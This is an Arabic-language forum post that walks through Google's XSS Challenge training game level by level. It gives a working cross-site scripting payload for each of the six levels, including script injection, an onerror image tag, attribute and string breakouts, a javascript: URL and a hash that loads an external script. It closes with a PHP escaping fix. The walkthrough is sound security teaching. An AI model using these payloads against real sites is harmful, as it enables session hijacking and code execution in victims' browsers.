حلول Google XSS Challenge كاملة مع الشرح

x32x01
  • بواسطة x32x01 ||
⭐ تحدي Google XSS Challenge واحد من أشهر التحديات اللي بيدخلها مطوري الويب والمهتمين بالأمن السيبراني عشان يتعلموا أكتر عن ثغرات Cross-Site Scripting (XSS)، ويطوروا مهاراتهم في اكتشاف الثغرات. 💻🔥

في البوست ده هنعمل شرح كامل لكل مستوى، وهنوضح فكرة كل تحدي، وإزاي تقدر تفهمه وتتعلمه، مع أمثلة وأكواد وشرح مبسّط يخليك تطلع فاهم، مش حافظ فقط. 😎💡

التحديات هنا مش بس نسخ ولصق أكواد؛ الهدف إنك تفهم ليه الكود بيشتغل، وإزاي تقدر تطبّق نفس الفكرة في مواقف حقيقية، لأن XSS واحدة من أخطر الثغرات على الويب، وبتستخدم كتير في اختراق المواقع وجمع الـ Cookies وتنفيذ أكواد على أجهزة الضحايا. ⚠️

خلّينا نبدأ 💪👇



💥 ما هي ثغرة XSS وما أهميتها؟​

ثغرة Cross-Site Scripting ببساطة بتحصل لما الموقع يسمح للمهاجم يدخل كود JavaScript يتم تنفيذه عند زيارة المستخدم لصفحة معينة.
وده ممكن يؤدي لسرقة جلسة الدخول، أو إعادة توجيه المستخدم، أو تشغيل أكواد ضارة.

مثال بسيط على XSS:
Code:
<script>alert("XSS")</script>
لو الموقع بيعرض الكلام ده بدون فلترة… يبقى فيه مشكلة 🤯
عشان كده Google عملت لعبة Google XSS Challenge بهدف تدريب الناس على كيفية اكتشاف واستغلال الثغرة بشكل أخلاقي.



🎯 الهدف من Google XSS Challenge​

اللعبة عبارة عن 6 مستويات، كل مستوى أصعب من اللي قبله، وبيعلّمك:
  • أماكن مختلفة لحقن كود JavaScript
  • فهم السياق (Context) داخل أكواد HTML
  • تجاوز الفلاتر والـ sanitization
  • التعامل مع الـ URL parameters
  • التعامل مع الـ Hash (#) في الرابط
  • فهم البروتوكولات مثل javascript:



⚡ مستوى 1 - Hello, world of XSS​

ده أسهل مستوى، وهدفه بس تتأكد إنك فاهم الأساسيات.
الموقع بياخد قيمة query من URL وبيعرضها مباشرة داخل الصفحة بدون حماية.

🔧 الحل:

Code:
https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>
الكود هنا بسيط جدًا:
  • بتضيف سكربت
  • السكربت بيتنفذ
  • الموقع بيعرض alert(1)
    🎉 مبروك، خلّصت أول مستوى.

🧠 فكرة المستوى:​

لو الموقع بياخد input ويعرضه مباشرة → يبقى XSS جاهز.



⚡ مستوى 2 - Persistence is key​

ده مستوى بيعلمك إن XSS مش دايمًا بيكون في الرابط، ممكن يكون داخل POST أو داخل "محتوى محفوظ".

🔧 الحل:​

Code:
https://xss-game.appspot.com/level2/framepost-content=<img src='foobar' onerror='alert("xss")'>

🧠 الفكرة:​

  • الصورة fake ومش موجودة
  • المتصفح هيشغّل onerror
  • وبالتالي يتحقق alert

ده مثال على Event-based XSS.



⚡ مستوى 3 - That sinking feeling...​

في المستوى ده المحتوى بيتم دمجه داخل الـ HTML attribute، فالمطلوب إنك تكسر البنية وتدخل سكربت جديد.

🔧 الحل:​

Code:
https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>

🧠 ليه الحل ده ناجح؟​

لإنك:
  1. كسرت الـ attribute
  2. خرجت من الاقتباسات
  3. حقنت سكربت جديد
وده درس مهم جدًا في breaking out of attributes.



⚡ مستوى 4 - Context matters​

هنا بقى لازم تفهم إن كل XSS ليه سياق مختلف، والسياق اللي الموقع حاطط فيه القيمة هو اللي بيحدد شكل الهجوم.

🔧 الحل:​

Code:
https://xss-game.appspot.com/level4/frame?timer=1')%3Balert('1

🧠 ليه كده؟​

السطر بيكسر دالة JavaScript موجودة في الصفحة، وبيفتح طريق لحقن alert.



⚡ مستوى 5 - Breaking protocol​

Google هنا بتلعب على البروتوكولات اللي بتبدأ بها الروابط.
الموقع بياخد رابط Redirect بدون تحقق.

🔧 الحل:​

Code:
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

🧠 الفكرة:​

استخدام البروتوكول javascript: بدل http
ده يُعتبر هجوم معروف باسم JavaScript URL XSS.



⚡ مستوى 6 - Follow the X​

هنا الأصعب… لازم تضيف ملف JavaScript كامل يتنفذ داخل الصفحة.

🔧 الحل:​

Code:
https://xss-game.appspot.com/level6/frame#HTTPS://dj-infosec.divshot.io/content.js

🧠 الفكرة:​

القيمة بعد الـ hash (#) بيتم استخدامها لتحميل سكربت خارجي
وده بيعلمك إن URL fragments ممكن تكون كارثية أمنيًا لو ما اتفلترتش.



💻 مثال شامل للتعامل مع XSS في مواقع الويب​

عشان نفهم أكتر، ده مثال عملي لتأمين الصفحة ضد XSS:

❌ كود خطر:​

PHP:
echo $_GET['name'];

✅ كود آمن:​

PHP:
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

🎯 ليه ده مهم؟​

لإنك بمنتهى البساطة منعت أي سكربت من العمل لأن المتصفح هيعرضه كنص مش كـ كود.



🎓 نصائح مهمة لتعلم XSS للمبتدئين​

  • اختبر مدخلاتك Input Validation
  • افهم الـ Context كويس
  • استخدم أدوات زي Burp Suite
  • اتعلم أنواع XSS:
    • Stored
    • Reflected
    • DOM Based
  • متستخدمش المعلومات دي للاختراق غير القانوني ⚠️

🎁 الخلاصة​

تحدي Google XSS Challenge واحد من أفضل الطرق العملية لفهم ثغرات XSS والتعامل معها بطريقة آمنة.
كل مستوى بيعلمك فكرة جديدة مش بس كود.
ولو قدرت تفهم الأفكار وراء كل تطبيق، هتقدر تكتشف الثغرات دي بسهولة في أي موقع تاني. 😍🔥

وفي نهاية اللعبة Google بتديك "كيك" احتفالي 🎂😉
 
المواضيع ذات الصلة
x32x01
الردود
0
المشاهدات
590
x32x01
x32x01
x32x01
الردود
0
المشاهدات
646
x32x01
x32x01
x32x01
الردود
0
المشاهدات
774
x32x01
x32x01
x32x01
الردود
0
المشاهدات
667
x32x01
x32x01
x32x01
الردود
0
المشاهدات
575
x32x01
x32x01
الدخول أو التسجيل السريع
نسيت كلمة مرورك؟
إحصائيات المنتدى
المواضيع
2,038
المشاركات
2,239
أعضاء أكتب كود
489
أخر عضو
islam5793
عودة
أعلى